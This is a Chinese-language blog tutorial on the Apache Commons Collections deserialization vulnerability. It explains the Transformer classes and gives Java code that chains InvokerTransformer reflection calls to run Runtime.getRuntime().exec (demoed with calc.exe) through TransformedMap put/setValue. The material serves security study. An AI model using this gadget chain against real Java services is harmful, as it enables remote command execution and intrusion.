keac's Bolg.

Apache Commons Collections反序列化漏洞

字数统计: 1.3k阅读时长: 6 min
2022/05/25 Share

前言

Apache CommonsApache开源的Java通用类项目在Java中项目中被广泛的使用,Apache Commons当中有一个组件叫做Apache Commons Collections,主要封装了Java的Collection(集合)相关类对象。

Transformer

该接口的重要实现类有:ConstantTransformerinvokerTransformerChainedTransformerTransformedMap

ConstantTransformer

ConstantTransformer类是Transformer接口其中的一个实现类,ConstantTransformer类重写了transformer方法

ConstantTransformer,常量转换,转换的逻辑也非常的简单:传入对象不会经过任何改变直接返回。例如传入Runtime.class进行转换返回的依旧是Runtime.class

1
2
3
4
5
6
7
8
9
10
import org.apache.commons.collections.functors.ConstantTransformer;

public class cc {
public static void main(String[] args) {
Object obj = Runtime.class;
ConstantTransformer transformer = new ConstantTransformer(obj);
System.out.println(transformer.transform(obj));

}
}

InvokerTransformer

Collections组件中提供了一个非常重要的类: org.apache.commons.collections.functors.InvokerTransformer,这个类实现了java.io.Serializable接口。2015年有研究者发现利用InvokerTransformer类的transform方法可以实现Java反序列化RCE,并提供了利用方法:CommonsCollections1.java

InvokerTransformertransform方法实现了类方法动态调用,即采用反射机制动态调用类方法(反射方法名、参数值均可控)并返回该方法执行结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//代码片段
private static final long serialVersionUID = -8653385846894047688L;
//调用的方法名
private final String iMethodName;
//反射的参数类型数组
private final Class[] iParamTypes;
//反射的参数数组
private final Object[] iArgs;

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

//org.apache.commons.collections.functors #57
// 获取输入类的类对象
Class cls = input.getClass();
// 通过输入的方法名和方法参数,获取指定的反射方法对象
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
// 反射调用指定的方法并返回方法调用结果
return method.invoke(input, this.iArgs);

使用InvokerTransformer实现调用本地命令执行

在pom.xml添加依赖

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.2</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
import org.apache.commons.collections.functors.InvokerTransformer;

public class cc {
public static void main(String[] args) {
// 定义需要执行的本地系统命令
String cmd = "calc.exe";
// 构建transformer对象
InvokerTransformer transformer1 = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd});
// 传入Runtime实例,执行对象转换操作
transformer1.transform(Runtime.getRuntime());
}
}

在真实的漏洞场景中我们是没有办法直接在调用transformer.transform的时候直接传入Runtime.getRuntime()对象的,所以我们需要通过ChainedTransformer来创建攻击链

ChainedTransformer

org.apache.commons.collections.functors.ChainedTransformer类封装了Transformer的链式调用,我们只需要传入一个Transformer数组,ChainedTransformer就会依次调用每一个Transformertransform方法

1
2
3
4
5
6
7
8
9
10
11
12
13
private final Transformer[] iTransformers;

public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}

public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}

return object;
}

调用过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// new ConstantTransformer(Runtime.class
Class<?> runtimeClass = Runtime.class;

// new InvokerTransformer("getMethod", new Class[]{
// String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
// ),

//反射出 getRuntime方法
Class cls1 = runtimeClass.getClass();
Method getMethod = cls1.getMethod("getMethod", new Class[]{String.class, Class[].class});
Method getRuntime = (Method) getMethod.invoke(runtimeClass, new Object[]{"getRuntime", new Class[0]});

// new InvokerTransformer("invoke", new Class[]{
// Object.class, Object[].class}, new Object[]{null, new Object[0]}
// )
// 反射出 getRuntime object的 invoke方法
Class cls2 = getRuntime.getClass();
Method invokeMethod = cls2.getMethod("invoke", new Class[]{Object.class, Object[].class});
Runtime runtime = (Runtime) invokeMethod.invoke(getRuntime, new Object[]{null, new Class[0]});

// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
// getRuntime invoke 之后反射exec 方法
Class cls3 = runtime.getClass();
Method execMethod = cls3.getMethod("exec", new Class[]{String.class});
execMethod.invoke(runtime, cmd);

通过构建ChainedTransformer调用链,最终间接的使用InvokerTransformer完成了反射调用Runtime.getRuntime().exec(cmd)的逻辑。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
// 创建ChainedTransformer调用链对象
Transformer transformedChain = new ChainedTransformer(transformers);

// 执行对象转换操作
Object transform = transformedChain.transform(null);

System.out.println(transform);

利用InvokerTransformer

org.apache.commons.collections.map.TransformedMap类间接的实现了java.util.Map接口,同时支持对Mapkey或者value进行Transformer转换,调用decoratedecorateTransform方法就可以创建一个TransformedMap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
   
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}

protected Object transformKey(Object object) {
return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}

只要调用TransformedMapsetValue/put/putAll中的任意方法都会调用InvokerTransformer类的transform方法,从而也就会触发命令执行。

1
2
3
4
5
6
7
8
9
10
11
12
Map map=new HashMap();
map.put("a","a");
// 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
transformedMap.put("ccc", "ccc");// 执行put 触发transform
// 遍历Map元素,并调用setValue方法
for (Object obj : transformedMap.entrySet()) {
Map.Entry entry = (Map.Entry) obj;
// setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链
entry.setValue("test");
}
System.out.println(transformedMap);

只要在Java的API中的任何一个类只要符合以下条件,我们就可以在Java反序列化的时候触发InvokerTransformer类的transform方法实现RCE

  1. 实现了java.io.Serializable接口;
  2. 并且可以传入我们构建的TransformedMap对象;
  3. 调用了TransformedMap中的setValue/put/putAll中的任意方法一个方法的类;

参考

https://javasec.org/javase/JavaDeserialization/Collections.html

CATALOG
  1. 1. 前言
  2. 2. Transformer
    1. 2.1. ConstantTransformer
    2. 2.2. InvokerTransformer
    3. 2.3. ChainedTransformer
    4. 2.4. 利用InvokerTransformer
  3. 3. 参考